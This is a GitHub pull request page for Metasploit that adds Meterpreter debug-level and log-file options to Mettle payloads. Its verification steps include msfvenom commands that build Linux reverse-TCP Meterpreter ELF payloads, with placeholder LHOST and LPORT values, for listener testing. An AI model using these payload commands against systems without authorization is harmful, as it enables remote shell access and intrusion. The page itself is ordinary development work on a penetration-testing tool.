New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for mettle debug #11332

Merged
merged 1 commit into from Jan 30, 2019

Conversation

Projects
None yet
4 participants
@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Jan 29, 2019

This PR adds options to set debug level and debug log file values that are passed into mettle using the changes in rapid7/mettle#155

Verification

List the steps needed to make sure this thing works

Make a stageless mettle payload with debug level set to 3 (highest):

  • ./msfvenom -p linux/x64/meterpreter_reverse_tcp -f elf -o my_payload.elf MeterpreterDebugLevel=3 LHOST=<IP> LPORT=<PORT>
  • Set up a listener locally (do not set any debugging options- you shouldn't see them, anyway)
  • Launch the payload
  • Verify mettle logs to the console

Make a staged mettle payload with debug level set to 3 (highest):

  • ./msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o my_payload.elf LHOST=<IP> LPORT=<PORT>
  • Set up a listener locally
  • set MeterpreterDebugLevel 3
  • Launch the payload
  • Verify mettle logs to the console

Make a stageless mettle payload with debug level set to 3 (highest) and set the log file location:

  • ./msfvenom -p linux/x64/meterpreter_reverse_tcp -f elf -o my_payload.elf MeterpreterDebugLevel=3 RemoteMeterpreterDebugFile="/tmp/meterpreter" LHOST=<IP> LPORT=<PORT>
  • Set up a listener locally (do not set any debugging options- you shouldn't see them, anyway)
  • Launch the payload
  • Verify mettle logs to the provided file

Make a staged mettle payload with debug level set to 3 (highest) and the log_file value set

  • ./msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o my_payload.elf LHOST=<IP> LPORT=<PORT>
  • Set up a listener locally
  • set MeterpreterDebugLevel 3
  • set RemoteMeterpreterDebugFile /tmp/meterpreter
  • Launch the payload
  • Verify mettle logs to the provided file

@busterb busterb merged commit 2e7a71e into rapid7:master Jan 30, 2019

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

@busterb busterb self-assigned this Jan 30, 2019

busterb added a commit that referenced this pull request Jan 30, 2019

Msf::OptInt.new('MeterpreterDebugLevel',
[
true,
"Set debug level for meterpreter 0-3 (Default output is strerr)",

This comment has been minimized.

@jmartin-r7

jmartin-r7 Jan 30, 2019

Contributor

stderr?

msjenkins-r7 added a commit that referenced this pull request Jan 30, 2019

@gdavidson-r7

This comment has been minimized.

Copy link

gdavidson-r7 commented Feb 6, 2019

Release Notes

This adds options to set a debug level and debug log file values for Mettle payloads.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment